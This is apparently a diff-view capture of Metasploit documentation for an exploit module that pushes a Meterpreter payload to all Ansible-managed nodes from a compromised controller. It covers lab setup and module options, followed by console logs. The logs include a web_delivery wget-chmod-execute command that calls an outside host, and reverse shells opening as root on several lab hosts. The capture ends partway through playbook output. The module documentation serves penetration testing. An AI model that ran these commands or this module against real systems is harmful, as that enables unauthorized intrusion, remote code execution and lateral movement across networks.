2023-12-16 07:16:26 -05:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
This exploit module creates an ansible module for deployment to nodes in the network.
|
2023-12-23 13:23:34 -05:00
|
|
|
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
|
2023-12-16 07:16:26 -05:00
|
|
|
targets which have been selected (default all).
|
|
|
|
|
|
|
|
|
|
### Docker-compose Install
|
|
|
|
|
|
|
|
|
|
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
|
|
|
|
|
|
|
|
|
|
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
|
|
|
|
|
|
|
|
|
|
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Install the application
|
|
|
|
|
1. Start msfconsole
|
|
|
|
|
1. Get an initial shell on the box
|
|
|
|
|
1. Do: `use exploit/linux/local/ansible_node_deployer`
|
|
|
|
|
1. Do: `set session [#]`
|
|
|
|
|
1. Do: `run`
|
|
|
|
|
1. You should get sessions on all the targeted hosts
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
### ANSIBLEPLAYBOOK
|
|
|
|
|
|
|
|
|
|
Location of ansible executable if not in a standard location. This is added to a list of default locations
|
|
|
|
|
which includes `/usr/local/bin/ansible`. Defaults to ``
|
|
|
|
|
|
2024-01-10 17:16:57 -05:00
|
|
|
### WritableDir
|
2023-12-16 07:16:26 -05:00
|
|
|
|
|
|
|
|
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
|
|
|
|
|
|
2024-01-10 17:16:57 -05:00
|
|
|
### TargetWritableDir
|
2023-12-16 07:16:26 -05:00
|
|
|
|
|
|
|
|
A directory on the target hosts we can write our payload to. Defaults to `/tmp`
|
|
|
|
|
|
2024-01-10 17:16:57 -05:00
|
|
|
### CALCULATE
|
2023-12-16 07:16:26 -05:00
|
|
|
|
|
|
|
|
This will calculate how many hosts may be exploitable by using Ansible's ping command.
|
|
|
|
|
|
|
|
|
|
### HOSTS
|
|
|
|
|
|
|
|
|
|
Which Ansible host (groups) to target. Defaults to `all`
|
|
|
|
|
|
|
|
|
|
### ListenerTimeout
|
|
|
|
|
|
2024-01-10 17:16:57 -05:00
|
|
|
How many seconds to wait after executing the payload for hosts to call back.
|
|
|
|
|
If set to `0`, wait forever. Defaults to `60`
|
2023-12-16 07:16:26 -05:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### Docker compose as mentioned above
|
|
|
|
|
|
|
|
|
|
Get initial access to the system
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
resource (ansible_deploy.rb)> use exploit/multi/script/web_delivery
|
|
|
|
|
[*] Using configured payload python/meterpreter/reverse_tcp
|
|
|
|
|
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
|
|
|
|
lhost => 1.1.1.1
|
|
|
|
|
resource (ansible_deploy.rb)> set srvport 8181
|
|
|
|
|
srvport => 8181
|
|
|
|
|
resource (ansible_deploy.rb)> set target 7
|
|
|
|
|
target => 7
|
|
|
|
|
resource (ansible_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
payload => linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
resource (ansible_deploy.rb)> run
|
|
|
|
|
[*] Exploit running as background job 0.
|
|
|
|
|
[*] Exploit completed, but no session was created.
|
|
|
|
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
|
|
|
|
[*] Using URL: http://1.1.1.1:8181/2BQIMgeywC6gGt9
|
|
|
|
|
[*] Server started.
|
|
|
|
|
[*] Run the following command on the target machine:
|
|
|
|
|
wget -qO OHZQobFE --no-check-certificate http://1.1.1.1:8181/2BQIMgeywC6gGt9; chmod +x OHZQobFE; ./OHZQobFE& disown
|
|
|
|
|
[*] 172.22.0.7 web_delivery - Delivering Payload (250 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.22.0.7
|
|
|
|
|
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.22.0.7:49612) at 2023-12-15 20:12:27 -0500
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
resource (ansible_deploy.rb)> use exploit/linux/local/ansible_node_deployer
|
|
|
|
|
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
resource (ansible_deploy.rb)> set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
resource (ansible_deploy.rb)> set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
|
|
|
|
lhost => 1.1.1.1
|
|
|
|
|
resource (ansible_deploy.rb)> set lport 9999
|
|
|
|
|
lport => 9999
|
|
|
|
|
[*] Starting persistent handler(s)...
|
|
|
|
|
[msf](Jobs:1 Agents:0) exploit(linux/local/ansible_node_deployer) >
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > set TargetWritableDir /etc/
|
|
|
|
|
TargetWritableDir => /etc/
|
|
|
|
|
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > exploit
|
|
|
|
|
[*] Exploit running as background job 1.
|
|
|
|
|
[*] Exploit completed, but no session was created.
|
|
|
|
|
[msf](Jobs:2 Agents:1) exploit(linux/local/ansible_node_deployer) >
|
|
|
|
|
[*] Started reverse TCP handler on 1.1.1.1:9999
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
|
|
|
[+] /tmp is writable, and ansible executable found
|
|
|
|
|
[+] The target is vulnerable.
|
|
|
|
|
[+] Stored pings to: /root/.msf4/loot/20231215201340_default_172.22.0.7_ansible.ping_422232.txt
|
|
|
|
|
[+] Ansible Pings
|
|
|
|
|
=============
|
|
|
|
|
|
|
|
|
|
Host Status Ping Changed
|
|
|
|
|
---- ------ ---- -------
|
|
|
|
|
alpine-example-com SUCCESS pong false
|
|
|
|
|
alpinesystemd-example-com SUCCESS pong false
|
|
|
|
|
centos7-example-com SUCCESS pong false
|
|
|
|
|
rhel8-example-com SUCCESS pong false
|
|
|
|
|
|
|
|
|
|
[+] 4 ansible hosts were pingable, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
|
|
|
|
|
[*] Creating yaml job to execute
|
|
|
|
|
[*] Writing payload
|
|
|
|
|
[*] Writing '/tmp/O514h2N' (250 bytes) ...
|
|
|
|
|
[*] Executing ansible job
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.22.0.6
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.22.0.4
|
|
|
|
|
[+] Stored run logs to: /root/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.22.0.5
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.22.0.2
|
|
|
|
|
[*] Meterpreter session 2 opened (1.1.1.1:9999 -> 172.22.0.6:60850) at 2023-12-15 20:14:36 -0500
|
|
|
|
|
[*] Meterpreter session 5 opened (1.1.1.1:9999 -> 172.22.0.2:34980) at 2023-12-15 20:14:36 -0500
|
|
|
|
|
[*] Meterpreter session 3 opened (1.1.1.1:9999 -> 172.22.0.4:51082) at 2023-12-15 20:14:46 -0500
|
|
|
|
|
[*] Meterpreter session 4 opened (1.1.1.1:9999 -> 172.22.0.5:41770) at 2023-12-15 20:14:56 -0500
|
|
|
|
|
|
|
|
|
|
[msf](Jobs:2 Agents:5) exploit(linux/local/ansible_node_deployer) > sessions -l
|
|
|
|
|
|
|
|
|
|
Active sessions
|
|
|
|
|
===============
|
|
|
|
|
|
|
|
|
|
Id Name Type Information Connection
|
|
|
|
|
-- ---- ---- ----------- ----------
|
|
|
|
|
1 meterpreter x64/linux root @ 172.22.0.7 1.1.1.1:4444 -> 172.22.0.7:49612 (172.22.0.7)
|
|
|
|
|
2 meterpreter x64/linux root @ 172.22.0.6 1.1.1.1:9999 -> 172.22.0.6:60850 (172.22.0.6)
|
|
|
|
|
3 meterpreter x64/linux root @ 172.22.0.4 1.1.1.1:9999 -> 172.22.0.4:51082 (172.22.0.4)
|
|
|
|
|
4 meterpreter x64/linux root @ 172.22.0.5 1.1.1.1:9999 -> 172.22.0.5:41770 (172.22.0.5)
|
|
|
|
|
5 meterpreter x64/linux root @ 172.22.0.2 1.1.1.1:9999 -> 172.22.0.2:34980 (172.22.0.7)
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
└─$ cat ~/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
|
|
|
|
|
|
|
|
|
PLAY [Deliver Meterpreter] *****************************************************
|
|
|
|
|
|
|
|
|
|
TASK [Gathering Facts] *********************************************************
|
|
|
|
|
[DEPRECATION WARNING]: Distribution redhat 8.2 on host rhel8-example-com should
|
|
|
|
|
use /usr/libexec/platform-python, but is using /usr/bin/python for backward
|
|
|
|
|
compatibility with prior Ansible releases. A future Ansible release will
|
|
|
|
|
default to using the discovered platform python for this host. See https://docs
|
|
|
|
|
.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for
|
|
|
|
|
more information. This feature will be removed in version 2.12. Deprecation
|
|
|
|
|
warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
|
|
|
|
|
ok: [rhel8-example-com]
|
|
|
|
|
ok: [centos7-example-com]
|
|
|
|
|
[WARNING]: Platform linux on host alpine-example-com is using the discovered
|
|
|
|
|
Python interpreter at /usr/bin/python, but future installation of another
|
|
|
|
|
Python interpreter could change this. See https://docs.ansible.com/ansible/2.9/
|
|
|
|
|
reference_appendices/interpreter_discovery.html for more information.
|
|
|
|
|
ok: [alpine-example-com]
|
|
|
|
|
[WARNING]: Platform linux on host alpinesystemd-example-com is using the
|
|
|
|
|
discovered Python interpreter at /usr/bin/python, but future installation of
|
|
|
|
|
another Python interpreter could change this. See https://docs.ansible.com/ansi
|
|
|
|
|
ble/2.9/reference_appendices/interpreter_discovery.html for more information.
|
|
|
|
|
ok: [alpinesystemd-example-com]
|
|
|
|
|
|
|
|
|
|
TASK [ansible.builtin.copy] ****************************************************
|
|
|
|
|
changed: [alpine-example-com]
|
|
|
|
|
changed: [centos7-example-com]
|
|
|
|
|
changed: [rhel8-example-com]
|
|
|
|
|
changed: [alpinesystemd-example-com]
|
|
|
|
|
|
|
|
|
|
TASK [ansible.builtin.file] ****************************************************
|
|
|
|
|
changed: [alpine-example-com]
|
|
|
|
|
changed: [rhel8-example-com]
|
|
|
|
|
changed: [centos7-example-com]
|
|
|
|
|
changed: [alpinesystemd-example-com]
|
|
|
|
|
|
|
|
|
|
TASK [command] *****************************************************************
|
|
|
|
|
```
|